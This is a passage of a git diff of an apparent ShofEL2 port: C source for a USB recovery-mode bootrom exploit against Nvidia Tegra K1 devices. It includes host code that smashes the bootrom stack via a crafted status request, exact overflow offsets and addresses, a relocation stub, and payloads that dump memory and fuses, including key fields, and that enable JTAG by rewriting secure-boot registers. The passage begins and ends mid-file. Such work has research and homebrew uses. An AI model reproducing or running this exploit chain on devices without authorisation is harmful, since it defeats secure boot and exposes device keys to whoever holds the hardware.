int ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, RCM_CHIP_ID_LEN, chip_id_buf );
|
||||
if ( ret < 0 ) {
|
||||
fprintf( stderr, "Error: Couldn't read Chip ID. Please reset T124 in RCM mode again.\n" );
|
||||
goto exit;
|
||||
}
|
||||
printf( "Chip ID: " );
|
||||
print_hex_memory( chip_id_buf, RCM_CHIP_ID_LEN );
|
||||
|
||||
//-----------------------
|
||||
|
||||
|
||||
// ---- SEND PAYLOAD ----
|
||||
|
||||
ret = send_rcm_cmd(rcm_usb, payload_filename, payload_thumb_mode);
|
||||
if ( ret < 0 ) {
|
||||
printf( "Error: Couldn't send RCM CMD.\n" );
|
||||
goto exit;
|
||||
}
|
||||
|
||||
//----------------------
|
||||
|
||||
|
||||
// ---- RUN EXPLOIT ----
|
||||
|
||||
data = malloc( hacky_get_status_len );
|
||||
ret = usb_send_control_txn( rcm_usb, USB_CTRL_DEVICE_ENDPOINT_TO_HOST,
|
||||
USB_CTRL_GET_STATUS, 0, 0, hacky_get_status_len, data, 500 );
|
||||
if ( ret == 0 ) {
|
||||
if ( hacky_get_status_len == BOOTROM_STACK_GAP_LEN ) {
|
||||
printf( "Hacky Get Status finished correctly... Showing Stack\n" );
|
||||
_ret_main = 0;
|
||||
} else {
|
||||
printf( "Error: Hacky Get Status finished correctly... Not cool :-(\n" );
|
||||
}
|
||||
print_hex_memory( data, hacky_get_status_len );
|
||||
goto exit;
|
||||
}
|
||||
|
||||
printf( "Hacky Get Status returned error... Probably the stack got smashed, Congrats :-)\n" );
|
||||
|
||||
//----------------------
|
||||
|
||||
dump_len = 8;
|
||||
while(1){
|
||||
dump = malloc( dump_len );
|
||||
memset(dump, 0x00, dump_len);
|
||||
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, dump_len, dump );
|
||||
print_hex_memory(dump, dump_len);
|
||||
if(ret < 0){
|
||||
printf("error!");
|
||||
}
|
||||
else{
|
||||
print_hex_memory(dump, dump_len);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
// --- MEM DUMP CMD ----
|
||||
|
||||
if ( dump_len ) {
|
||||
|
||||
printf( "Dumping %d bytes from 0x%08x.\n", dump_len, dump_start );
|
||||
struct mem_dumper_args_s mem_dumper_args = {
|
||||
.start = dump_start,
|
||||
.len = dump_len
|
||||
};
|
||||
|
||||
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, sizeof( mem_dumper_args ), &mem_dumper_args );
|
||||
if ( ret < 0 ) {
|
||||
printf( "Error: Fail sending arguments to memory dumper usb server.\n" );
|
||||
goto exit;
|
||||
}
|
||||
|
||||
dump = malloc( dump_len );
|
||||
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, dump_len, dump );
|
||||
if ( ret < 0 ) {
|
||||
printf( "Error: Fail receiving memory dump.\n" );
|
||||
goto exit;
|
||||
}
|
||||
|
||||
dump_fd = open( dump_filename, O_WRONLY | O_TRUNC | O_CREAT );
|
||||
if ( dump_fd < 0 ) {
|
||||
printf( "Error: Fail opening dump out file.\n" );
|
||||
goto exit;
|
||||
}
|
||||
write( dump_fd, dump, dump_len );
|
||||
|
||||
if ( do_print_fuse ) {
|
||||
print_fuses( (fuse_chip_registers_t *) dump );
|
||||
}
|
||||
}
|
||||
|
||||
//----------------------
|
||||
|
||||
|
||||
_ret_main = 0;
|
||||
|
||||
exit:
|
||||
if ( rcm_usb > 0 ) usb_close( rcm_usb );
|
||||
if ( dump ) free( dump );
|
||||
if ( dump_fd > 0 ) close( dump_fd );
|
||||
if ( data ) free( data );
|
||||
|
||||
return _ret_main;
|
||||
|
||||
}
|
||||
|
17
ShofEL2-for-T124/include/endianness.h
Normal file
@ -0,0 +1,17 @@
|
||||
#ifndef _ENDIANNESS_H_
|
||||
#define _ENDIANNESS_H_
|
||||
|
||||
#ifdef __BYTE_ORDER
|
||||
#if __BYTE_ORDER == __BIG_ENDIAN
|
||||
|
||||
#include <byteswap.h>
|
||||
#define TO_LITTLE_ENDIAN(x) bswap_32(x)
|
||||
|
||||
#elif __BYTE_ORDER == __LITTLE_ENDIAN
|
||||
|
||||
#define TO_LITTLE_ENDIAN(x) x
|
||||
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#endif
|
127
ShofEL2-for-T124/include/fuse.h
Normal file
@ -0,0 +1,127 @@
|
||||
#ifndef _FUSE_H_
|
||||
#define _FUSE_H_
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
|
||||
// Based on https://github.com/moriczgergo/moonflower/blob/933ab9ef66b76aa49ad2c29ca88d78173a81eff2/src/fuse.h
|
||||
|
||||
typedef struct {
|
||||
uint32_t FUSE_PRODUCTION_MODE; //0x000
|
||||
uint32_t FUSE_JTAG_SECUREID_VALID; //0x004
|
||||
uint32_t FUSE_ODM_LOCK; //0x008
|
||||
uint32_t FUSE_OPT_OPENGL_EN; //0x00c
|
||||
uint32_t FUSE_SKU_INFO; //0x010
|
||||
uint32_t FUSE_CPU_SPEEDO_0_CALIB; //0x014
|
||||
uint32_t FUSE_CPU_IDDQ_CALIB; //0x018
|
||||
uint32_t RESERVED_0x01C;
|
||||
uint32_t RESERVED_0x020;
|
||||
uint32_t RESERVED_0x024;
|
||||
uint32_t FUSE_OPT_FT_REV; //0x028
|
||||
uint32_t FUSE_CPU_SPEEDO_1_CALIB; //0x02c
|
||||
uint32_t FUSE_CPU_SPEEDO_2_CALIB; //0x030
|
||||
uint32_t FUSE_SOC_SPEEDO_0_CALIB; //0x034
|
||||
uint32_t FUSE_SOC_SPEEDO_1_CALIB; //0x038
|
||||
uint32_t FUSE_SOC_SPEEDO_2_CALIB; //0x03c
|
||||
uint32_t FUSE_SOC_IDDQ_CALIB; //0x040
|
||||
uint32_t RESERVED_0x044;
|
||||
uint32_t FUSE_FA; //0x048
|
||||
uint32_t FUSE_RESERVED_PRODUCTION; //0x04c
|
||||
uint32_t FUSE_HDMI_LANE0_CALIB; //0x050
|
||||
uint32_t FUSE_HDMI_LANE1_CALIB; //0x054
|
||||
uint32_t FUSE_HDMI_LANE2_CALIB; //0x058
|
||||
uint32_t FUSE_HDMI_LANE3_CALIB; //0x05c
|
||||
uint32_t FUSE_ENCRYPTION_RATE; //0x060
|
||||
uint32_t FUSE_PUBLIC_KEY[0x8]; //0x064 - 0x080
|
||||
uint32_t FUSE_TSENSOR1_CALIB; //0x084
|
||||
uint32_t FUSE_TSENSOR2_CALIB; //0x088
|
||||
uint32_t RESERVED_0x08C;
|
||||
uint32_t FUSE_OPT_CP_REV; //0x090
|
||||
uint32_t FUSE_OPT_PFG; //0x094
|
||||
uint32_t FUSE_TSENSOR0_CALIB; //0x098
|
||||
uint32_t FUSE_BOOTROM_PATCH_SIZE; //0x09c
|
||||
uint32_t FUSE_SECURITY_MODE; //0x0a0
|
||||
uint32_t FUSE_PRIVATE_KEY[0x4]; //0x0a4 - 0x0b0
|
||||
uint32_t FUSE_DEVICE_KEY; //0x0b4
|
||||
uint32_t FUSE_ARM_DEBUG_DIS; //0x0b8
|
||||
uint32_t FUSE_BOOT_DEVICE_INFO; //0x0bc
|
||||
uint32_t FUSE_RESERVED_SW; //0x0c0
|
||||
uint32_t FUSE_VP8_ENABLE; //0x0c4
|
||||
uint32_t FUSE_RESERVED_ODM[0x8]; //0x0c8-0x0e4
|
||||
uint32_t FUSE_OBS_DIS; //0x0e8
|
||||
uint32_t RESERVED_0x0EC;
|
||||
uint32_t FUSE_USB_CALIB; //0x0f0
|
||||
uint32_t FUSE_SKU_DIRECT_CONFIG; //0x0f4
|
||||
uint32_t FUSE_KFUSE_PRIVKEY_CTRL; //0x0f8
|
||||
uint32_t FUSE_PACKAGE_INFO; //0x0fc
|
||||
uint32_t FUSE_OPT_VENDOR_CODE; //0x100
|
||||
uint32_t FUSE_OPT_FAB_CODE; //0x104
|
||||
uint32_t FUSE_OPT_LOT_CODE_0; //0x108
|
||||
uint32_t FUSE_OPT_LOT_CODE_1; //0x10c
|
||||
uint32_t FUSE_OPT_WAFER_ID; //0x110
|
||||
uint32_t FUSE_OPT_X_COORDINATE; //0x114
|
||||
uint32_t FUSE_OPT_Y_COORDINATE; //0x118
|
||||
uint32_t FUSE_OPT_SEC_DEBUG_EN; //0x11c
|
||||
uint32_t FUSE_OPT_OPS_RESERVED; //0x120
|
||||
uint32_t FUSE_SATA_CALIB; //0x124
|
||||
uint32_t FUSE_GPU_IDDQ_CALIB; //0x128
|
||||
uint32_t FUSE_TSENSOR3_CALIB; //0x12c
|
||||
uint32_t FUSE_SKU_BOND_OUT_L; //0x130
|
||||
uint32_t FUSE_SKU_BOND_OUT_H; //0x134
|
||||
uint32_t FUSE_SKU_BOND_OUT_U; //0x138
|
||||
uint32_t FUSE_SKU_BOND_OUT_V; //0x13c
|
||||
uint32_t FUSE_SKU_BOND_OUT_W; //0x140
|
||||
uint32_t RESERVED_0x144;
|
||||
uint32_t FUSE_OPT_SUBREVISION; //0x148
|
||||
uint32_t FUSE_OPT_SW_RESERVED_0; //0x14c
|
||||
uint32_t FUSE_OPT_SW_RESERVED_1; //0x150
|
||||
uint32_t FUSE_TSENSOR4_CALIB; //0x154
|
||||
uint32_t FUSE_TSENSOR5_CALIB; //0x158
|
||||
uint32_t FUSE_TSENSOR6_CALIB; //0x15c
|
||||
uint32_t FUSE_TSENSOR7_CALIB; //0x160
|
||||
uint32_t FUSE_OPT_PRIV_SEC_EN; //0x164
|
||||
uint32_t FUSE_PKC_DISABLE; //0x168
|
||||
uint32_t RESERVED_0x16C;
|
||||
uint32_t RESERVED_0x170;
|
||||
uint32_t RESERVED_0x174;
|
||||
uint32_t RESERVED_0x178;
|
||||
uint32_t FUSE_FUSE2TSEC_DEBUG_DISABLE; //0x17c
|
||||
uint32_t FUSE_TSENSOR8_CALIB; //0x180 // <--WTF
|
||||
uint32_t FUSE_OPT_CP_BIN; //0x184
|
||||
uint32_t FUSE_OPT_GPU_FS; //0x188
|
||||
uint32_t FUSE_OPT_FT_BIN; //0x18c
|
||||
uint32_t RESERVED_0x190;
|
||||
uint32_t FUSE_SKU_BOND_OUT_X; //0x194
|
||||
uint32_t FUSE_APB2JTAG_DISABLE; //0x198
|
||||
uint32_t RESERVED_0x19C;
|
||||
uint32_t FUSE_PHY_FLOORSWEEP; //0x1a0
|
||||
uint32_t FUSE_PHY_FLOOR_ENABLE; //0x1a4
|
||||
uint32_t FUSE_ARM_CRYPT_DE_FEATURE; //0x1a8
|
||||
uint32_t FUSE_DENVER_MTS_DE_FEATURE; //0x1ac
|
||||
uint32_t FUSE_DIE_VERSION_OVERRIDE; //0x1b0
|
||||
uint32_t FUSE_TRIMMERS; //0x1b4
|
||||
uint32_t FUSE_DENVER_BOOT_SEC; //0x1b8
|
||||
uint32_t FUSE_DENVER_DFD_ACCESS; //0x1bc
|
||||
uint32_t FUSE_WOA_SKU_FLAG; //0x1c0
|
||||
uint32_t FUSE_ECO_RESERVE_1; //0x1c4
|
||||
uint32_t FUSE_GCPLEX_CONFIG_FUSE; //0x1c8
|
||||
uint32_t RESERVED_0x1CC;
|
||||
uint32_t RESERVED_0x1D0;
|
||||
uint32_t RESERVED_0x1D4;
|
||||
uint32_t RESERVED_0x1D8;
|
||||
uint32_t RESERVED_0x1DC;
|
||||
uint32_t RESERVED_0x1E0;
|
||||
uint32_t RESERVED_0x1E4;
|
||||
uint32_t RESERVED_0x1E8;
|
||||
uint32_t RESERVED_0x1EC;
|
||||
uint32_t RESERVED_0x1F0;
|
||||
uint32_t RESERVED_0x1F4;
|
||||
uint32_t RESERVED_0x1F8;
|
||||
uint32_t FUSE_SPARE_REALIGNMENT_REG; //0x1fc
|
||||
uint32_t FUSE_SPARE_BITS[0X40]; //0x200 - 0X2fc
|
||||
} fuse_chip_registers_t;
|
||||
|
||||
void print_fuses( fuse_chip_registers_t *fuse_chip_registers );
|
||||
|
||||
#endif
|
||||
|
12
ShofEL2-for-T124/include/mem_dumper_usb_server.h
Normal file
@ -0,0 +1,12 @@
|
||||
#ifndef _MEM_DUMP_USB_SERVER_H_
|
||||
#define _MEM_DUMP_USB_SERVER_H_
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
struct mem_dumper_args_s {
|
||||
uint32_t start;
|
||||
uint32_t len;
|
||||
};
|
||||
|
||||
#endif
|
||||
|
37
ShofEL2-for-T124/include/mini_libusb.h
Normal file
@ -0,0 +1,37 @@
|
||||
#ifndef _MINI_LIBUSB_H_
|
||||
#define _MINI_LIBUSB_H_
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <dirent.h>
|
||||
|
||||
#include <errno.h>
|
||||
#include <ctype.h>
|
||||
|
||||
#include <sys/ioctl.h>
|
||||
#include <linux/usbdevice_fs.h>
|
||||
|
||||
#define USB_CTRL_DEVICE_ENDPOINT_TO_HOST 0x82
|
||||
#define USB_CTRL_GET_STATUS 0x00
|
||||
|
||||
#define USB_BULK_TIMEOUT 500
|
||||
|
||||
#if DEBUG
|
||||
#define DEBUG_MSG(fmt, ...) do { fprintf( stderr, "%s:%d:%s(): " fmt, \
|
||||
__FILE__, __LINE__, __func__, ##__VA_ARGS__ ); } while(0)
|
||||
#else
|
||||
#define DEBUG_MSG(fmt, ...)
|
||||
#endif
|
||||
|
||||
int usb_open_by_vid_pid( uint16_t vid, uint16_t pid, uint8_t wait );
|
||||
int usb_close( int usb );
|
||||
int usb_send_bulk_txn( int usb, uint32_t ep, uint32_t len, void *data );
|
||||
int usb_send_control_txn( int usb, uint8_t bRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, uint16_t len, uint8_t *data, int32_t timeout );
|
||||
|
||||
#endif
|
||||
|
5
ShofEL2-for-T124/include/payload.h
Normal file
@ -0,0 +1,5 @@
|
||||
#ifndef _MEM_DUMP_USB_SERVER_H_
|
||||
#define _MEM_DUMP_USB_SERVER_H_
|
||||
|
||||
#endif
|
||||
|
17
ShofEL2-for-T124/include/rcm.h
Normal file
@ -0,0 +1,17 @@
|
||||
#ifndef _RCM_H_
|
||||
#define _RCM_H_
|
||||
|
||||
#include <sys/stat.h>
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include "t124.h"
|
||||
#include "mini_libusb.h"
|
||||
#include "endianness.h"
|
||||
|
||||
int send_rcm_cmd( int rcm_usb, char* payload_filename, uint32_t payload_thumb_mode );
|
||||
|
||||
#endif
|
99
ShofEL2-for-T124/include/t124.h
Normal file
@ -0,0 +1,99 @@
|
||||
#ifndef _T124_RCM_H_
|
||||
#define _T124_RCM_H_
|
||||
|
||||
#define JETSON_TK1_VID 0x0955
|
||||
#define JETSON_TK1_PID 0x7140
|
||||
|
||||
#define SHIELD_TK1_VID 0x0955
|
||||
#define SHIELD_TK1_PID 0x7f40
|
||||
|
||||
#define IROM_BEGIN 0x00100000
|
||||
#define IROM_END 0x0010FFFF
|
||||
#define IROM_LEN 0x00010000
|
||||
|
||||
#define IRAM_BEGIN 0x40000000
|
||||
#define IRAM_END 0x4003FFFF
|
||||
#define IRAM_LEN 0x00040000
|
||||
|
||||
#define BOOTROM_DO_BCT_BOOT 0x00100624
|
||||
#define BOOTROM_EP1_IN_WRITE_IMM 0x001065C0
|
||||
#define BOOTROM_EP1_OUT_READ_IMM 0x00106612
|
||||
#define BOOTROM_USB_BUF_1 0x40004000
|
||||
#define BOOTROM_USB_BUF_2 0x40008000
|
||||
#define BOOTROM_PAYLOAD_ENTRY 0x4000E000
|
||||
#define BOOTROM_SMASH_TARGET 0x4000DCD8
|
||||
#define BOOTROM_STACK_GAP_LEN 0x30C
|
||||
#define BOOTROM_SMASH_LEN (BOOTROM_SMASH_TARGET - BOOTROM_USB_BUF_2) // 0x5CD8
|
||||
|
||||
#define VARS_LEN 0x10
|
||||
|
||||
#define INTERMEZZO_LEN 0x100
|
||||
#define INTERMEZZO_REL_ADD ( BOOTROM_PAYLOAD_ENTRY - INTERMEZZO_LEN ) // 0x4000DF00
|
||||
|
||||
#define OFFSET_INTERMEZZO_START 0x0
|
||||
#define OFFSET_PAYLOAD_START ( INTERMEZZO_LEN )
|
||||
#define OFFSET_MEMCPY_RET_ADD ( BOOTROM_SMASH_LEN - BOOTROM_STACK_GAP_LEN - 0x4 ) // 0x59C8 ( 0x30C Bytes copied from the stack before entry )
|
||||
#define OFFSET_PAYLOAD_BEF_LENVAR ( OFFSET_MEMCPY_RET_ADD - 0x4 )
|
||||
#define OFFSET_PAYLOAD_AFT_LENVAR ( OFFSET_MEMCPY_RET_ADD - 0x8 )
|
||||
#define OFFSET_PAYLOAD_THUMB_MODE ( OFFSET_MEMCPY_RET_ADD - 0xC )
|
||||
#define OFFSET_PAYLOAD_CONT ( OFFSET_MEMCPY_RET_ADD + 0x4 )
|
||||
|
||||
|
||||
#define IRAM_ADD_INTERMEZZO_START ( BOOTROM_PAYLOAD_ENTRY + OFFSET_INTERMEZZO_START )
|
||||
#define IRAM_ADD_PAYLOAD_START ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_START )
|
||||
#define IRAM_ADD_PAYLOAD_BEF_LENVAR ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_BEF_LENVAR )
|
||||
#define IRAM_ADD_PAYLOAD_AFT_LENVAR ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_AFT_LENVAR )
|
||||
#define IRAM_ADD_PAYLOAD_THUMB_MODE ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_THUMB_MODE )
|
||||
#define IRAM_ADD_PAYLOAD_CONT ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_CONT )
|
||||
|
||||
|
||||
#define RCM_EP1_IN 0x81
|
||||
#define RCM_EP1_OUT 0x01
|
||||
#define RCM_CHIP_ID_LEN 0x10
|
||||
|
||||
#define RCM_CMD_LEN 0x32274
|
||||
#define RCM_CMD_MAX_USEFUL_LEN 0x31000 // Ensures Header + Payload + Padding doesn't complete RCM CMD and buffer 2 is used for getstatus.
|
||||
#define RCM_CMD_HEADER_LEN 0x284
|
||||
|
||||
#define RCM_CMD_BUF_INTERMEZZO_START ( RCM_CMD_HEADER_LEN + OFFSET_INTERMEZZO_START )
|
||||
#define RCM_CMD_BUF_PAYLOAD_START ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_START )
|
||||
#define RCM_CMD_BUF_MEMCPY_RET_ADD ( RCM_CMD_HEADER_LEN + OFFSET_MEMCPY_RET_ADD )
|
||||
#define RCM_CMD_BUF_PAYLOAD_BEF_LENVAR ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_BEF_LENVAR )
|
||||
#define RCM_CMD_BUF_PAYLOAD_AFT_LENVAR ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_AFT_LENVAR )
|
||||
#define RCM_CMD_BUF_PAYLOAD_THUMB_MODE ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_THUMB_MODE )
|
||||
#define RCM_CMD_BUF_PAYLOAD_CONT ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_CONT )
|
||||
|
||||
|
||||
#define MAX_PAYLOAD_BEF_SIZE ( OFFSET_PAYLOAD_THUMB_MODE - OFFSET_PAYLOAD_START ) // 22716 Bytes
|
||||
#define MAX_PAYLOAD_AFT_SIZE ( RCM_CMD_MAX_USEFUL_LEN - RCM_CMD_BUF_PAYLOAD_CONT ) // 177072 Bytes
|
||||
#define MAX_PAYLOAD_FILE_SIZE ( MAX_PAYLOAD_BEF_SIZE + MAX_PAYLOAD_AFT_SIZE ) // 199788 Bytes
|
||||
|
||||
|
||||
#define SECURE_BOOT_BASE 0x6000C200
|
||||
#define SB_CSR_0 0x0
|
||||
#define SB_PIROM_START_0 0x4
|
||||
#define SB_PFCFG_0 0x8
|
||||
#define JTAG_ON 0x00000080
|
||||
|
||||
#define APB_BASE 0x70000000
|
||||
#define APB_MISC_PP_CONFIG_CTL_0 0x24
|
||||
#define APB_MISC_PP_CONFIG_CTL_0_JTAG 0x40
|
||||
#define APB_MISC_PP_CONFIG_CTL_0_TBE 0x80
|
||||
|
||||
#define FLOW_CTLR_BASE 0x60007000
|
||||
#define FLOW_CTLR_HALT_COP_EVENTS_0 0x4
|
||||
#define FLOW_CTLR_HALT_COP_FLOW_MODE_WAITEVENT (1 << 30)
|
||||
#define FLOW_CTLR_HALT_COP_JTAG (1 << 28)
|
||||
|
||||
#define PMC_BASE 0x7000e400
|
||||
#define PMC_CNTRL 0x000
|
||||
#define PMC_CNTRL_MAIN_RST (1 << 4)
|
||||
#define PMC_SCRATCH0 0x050
|
||||
#define PMC_SCRATCH0_MODE_RCM (1 << 1)
|
||||
|
||||
#define FUSE_BASE 0x7000F900
|
||||
#define FUSE_LEN 0x300
|
||||
|
||||
|
||||
#endif
|
||||
|
20
ShofEL2-for-T124/include/types.h
Normal file
@ -0,0 +1,20 @@
|
||||
#ifndef _TYPES_H_
|
||||
#define _TYPES_H_
|
||||
|
||||
typedef signed char s8;
|
||||
typedef signed short s16;
|
||||
typedef signed int s32;
|
||||
typedef signed long long s64;
|
||||
typedef unsigned char u8;
|
||||
typedef unsigned short u16;
|
||||
typedef unsigned int u32;
|
||||
typedef unsigned long long u64;
|
||||
typedef volatile u8 vu8;
|
||||
typedef volatile u16 vu16;
|
||||
typedef volatile u32 vu32;
|
||||
typedef volatile u64 vu64;
|
||||
typedef u32 size_t;
|
||||
typedef u32 uintptr_t;
|
||||
typedef u32 uint32_t;
|
||||
|
||||
#endif
|
BIN
ShofEL2-for-T124/intermezzo.bin
Executable file
24
ShofEL2-for-T124/payloads/boot_bct.c
Normal file
@ -0,0 +1,24 @@
|
||||
#include "types.h"
|
||||
#include "t124.h"
|
||||
|
||||
typedef void (*do_bct_boot_t)( void );
|
||||
|
||||
void memcpy( void *dst, const void *src, size_t len ) {
|
||||
|
||||
for ( size_t i = 0; i < len; i++ ) {
|
||||
( (u8 *)dst )[i] = ( (u8 *)src )[i];
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
__attribute__((section(".init")))
|
||||
void entry() {
|
||||
|
||||
memcpy( (void*) ( IRAM_END - IROM_LEN + 1 ), (void*) IROM_BEGIN, IROM_LEN );
|
||||
|
||||
register do_bct_boot_t do_bct_boot = (do_bct_boot_t) ( BOOTROM_DO_BCT_BOOT | 1 );
|
||||
do_bct_boot();
|
||||
while(1);
|
||||
|
||||
}
|
||||
|
55
ShofEL2-for-T124/payloads/intermezzo.c
Normal file
@ -0,0 +1,55 @@
|
||||
#include "types.h"
|
||||
#include "t124.h"
|
||||
|
||||
extern u32 __payload_bin_start;
|
||||
extern u32 __payload_bin_end;
|
||||
|
||||
typedef void (*post_relocation_t)( void );
|
||||
typedef void (*payload_ep_t)( void );
|
||||
typedef void (*_memcpy_t)( void *dst, const void *src, size_t len );
|
||||
|
||||
void _memcpy( void *dst, const void *src, size_t len ) {
|
||||
|
||||
for ( size_t i = 0; i < len; i++ ) {
|
||||
( (u8 *)dst )[i] = ( (u8 *)src )[i];
|
||||
}
|
||||
|
||||
}
|
||||
// Probably I could trust in have relative PC branches, so no address would
|
||||
// require to be updated. This would work since there is a whole new copy
|
||||
// of the binary on the relocated area and PC would be working on that area
|
||||
// but having memcpy address on a register and update it to the relocated
|
||||
// area when required should improve the chances of the compiler not messing
|
||||
// up with the memcpy calls.
|
||||
register _memcpy_t memcpy asm("r7");
|
||||
|
||||
void _post_relocation() {
|
||||
|
||||
// Same with these arguments....
|
||||
register u32 payload_bef_len = *( (u32 *) IRAM_ADD_PAYLOAD_BEF_LENVAR );
|
||||
register u32 payload_aft_len = *( (u32 *) IRAM_ADD_PAYLOAD_AFT_LENVAR );
|
||||
register u32 payload_thumb_mode = *( (u32 *) IRAM_ADD_PAYLOAD_THUMB_MODE );
|
||||
|
||||
memcpy -= INTERMEZZO_LEN;
|
||||
memcpy( (u8 *) BOOTROM_PAYLOAD_ENTRY, (u8 *) IRAM_ADD_PAYLOAD_START, payload_bef_len );
|
||||
memcpy( (u8 *) (BOOTROM_PAYLOAD_ENTRY + payload_bef_len), (u8 *) IRAM_ADD_PAYLOAD_CONT, payload_aft_len );
|
||||
|
||||
payload_ep_t payload_ep = (payload_ep_t) ( BOOTROM_PAYLOAD_ENTRY | payload_thumb_mode );
|
||||
payload_ep();
|
||||
|
||||
}
|
||||
|
||||
__attribute__((section(".init")))
|
||||
void pre_relocation() {
|
||||
|
||||
u32 payload_bin_size = (u32)&__payload_bin_end - (u32)&__payload_bin_start;
|
||||
u8 *dest = (u8 *) ( BOOTROM_PAYLOAD_ENTRY - INTERMEZZO_LEN );
|
||||
|
||||
memcpy = _memcpy;
|
||||
memcpy( dest, &__payload_bin_start, payload_bin_size );
|
||||
|
||||
post_relocation_t post_relocation = _post_relocation - INTERMEZZO_LEN;
|
||||
post_relocation();
|
||||
|
||||
}
|
||||
|
40
ShofEL2-for-T124/payloads/jtag_example.c
Normal file
@ -0,0 +1,40 @@
|
||||
#include "t124.h"
|
||||
#include "types.h"
|
||||
|
||||
static inline u32 read32(uintptr_t addr) {
|
||||
return *(vu32 *)addr;
|
||||
}
|
||||
|
||||
static inline void write32(uintptr_t addr, u32 val) {
|
||||
*(vu32 *)addr = val;
|
||||
}
|
||||
|
||||
static inline void or32(uintptr_t addr, u32 val) {
|
||||
write32(addr, read32(addr) | val);
|
||||
}
|
||||
|
||||
__attribute__(( section(".init") ))
|
||||
void main() {
|
||||
|
||||
|
||||
u32 pirom_start_0 = 0x00010000;
|
||||
write32( SECURE_BOOT_BASE + SB_PIROM_START_0, pirom_start_0 );
|
||||
|
||||
u32 sb_csr_0 = 0x00000010;
|
||||
write32( SECURE_BOOT_BASE + SB_CSR_0, sb_csr_0 );
|
||||
|
||||
u32 sb_pfcfg_0 = read32( SECURE_BOOT_BASE + SB_PFCFG_0 );
|
||||
sb_pfcfg_0 &= 0xfffffff0;
|
||||
sb_pfcfg_0 |= 0xf;
|
||||
write32( SECURE_BOOT_BASE + SB_PFCFG_0, sb_pfcfg_0 );
|
||||
|
||||
or32( APB_BASE + APB_MISC_PP_CONFIG_CTL_0, APB_MISC_PP_CONFIG_CTL_0_JTAG |
|
||||
APB_MISC_PP_CONFIG_CTL_0_TBE );
|
||||
while(1) {
|
||||
// Halt COP and wait for JTAG
|
||||
or32( FLOW_CTLR_BASE + FLOW_CTLR_HALT_COP_EVENTS_0,
|
||||
FLOW_CTLR_HALT_COP_FLOW_MODE_WAITEVENT |
|
||||
FLOW_CTLR_HALT_COP_JTAG );
|
||||
}
|
||||
}
|
||||
|
58
ShofEL2-for-T124/payloads/mem_dumper_usb_server.c
Normal file
@ -0,0 +1,58 @@
|
||||
#include "types.h"
|
||||
#include "t124.h"
|
||||
#include "mem_dumper_usb_server.h"
|
||||
|
||||
typedef void (*ep1_x_imm_t)(void *buffer, u32 size, u32 *num_xfer);
|
||||
|
||||
void memcpy( void *dst, const void *src, size_t len ) {
|
||||
|
||||
for ( size_t i = 0; i < len; i++ ) {
|
||||
( (u8 *)dst )[i] = ( (u8 *)src )[i];
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
static inline u32 read32(uintptr_t addr) {
|
||||
return *(vu32 *)addr;
|
||||
}
|
||||
|
||||
static inline void write32(uintptr_t addr, u32 val) {
|
||||
*(vu32 *)addr = val;
|
||||
}
|
||||
|
||||
static inline void or32(uintptr_t addr, u32 val) {
|
||||
write32(addr, read32(addr) | val);
|
||||
}
|
||||
|
||||
void enter_rcm() {
|
||||
or32(PMC_BASE + PMC_SCRATCH0, PMC_SCRATCH0_MODE_RCM);
|
||||
or32(PMC_BASE + PMC_CNTRL, PMC_CNTRL_MAIN_RST);
|
||||
}
|
||||
|
||||
__attribute__((section(".init")))
|
||||
void entry() {
|
||||
|
||||
u32 num_xfer;
|
||||
u32 to_send;
|
||||
struct mem_dumper_args_s args;
|
||||
u8 *buffer = (u8*)0x40020000;
|
||||
|
||||
ep1_x_imm_t ep1_out_read_imm = (ep1_x_imm_t) ( BOOTROM_EP1_OUT_READ_IMM | 1 );
|
||||
ep1_x_imm_t ep1_in_write_imm = (ep1_x_imm_t) ( BOOTROM_EP1_IN_WRITE_IMM | 1 );
|
||||
|
||||
ep1_out_read_imm( &args, sizeof(args), &num_xfer );
|
||||
|
||||
while ( args.len > 0 ) {
|
||||
|
||||
to_send = args.len > 0x1000? 0x1000 : args.len;
|
||||
|
||||
memcpy( buffer, (void*)args.start, to_send );
|
||||
ep1_in_write_imm( buffer, to_send, &num_xfer );
|
||||
|
||||
args.start += to_send;
|
||||
args.len -= to_send;
|
||||
}
|
||||
enter_rcm();
|
||||
|
||||
}
|
||||
|
80
ShofEL2-for-T124/payloads/payload.c
Normal file
@ -0,0 +1,80 @@
|
||||
#include "types.h"
|
||||
#include "t124.h"
|
||||
|
||||
typedef void (*ep1_x_imm_t)(void *buffer, u32 size, u32 *num_xfer);
|
||||
ep1_x_imm_t usb_read = (ep1_x_imm_t) ( BOOTROM_EP1_OUT_READ_IMM | 1 );
|
||||
ep1_x_imm_t usb_write = (ep1_x_imm_t) ( BOOTROM_EP1_IN_WRITE_IMM | 1 );
|
||||
// int (*usb_write)(void*addr, uint32_t size, void *return_addr) = (void*)BOOTROM_EP1_IN_WRITE_IMM;
|
||||
// int (*usb_read)(int, int, int) = (void*)BOOTROM_EP1_OUT_READ_IMM;
|
||||
|
||||
int mystrlen(char *data) {
|
||||
int i=0;
|
||||
while(1) {
|
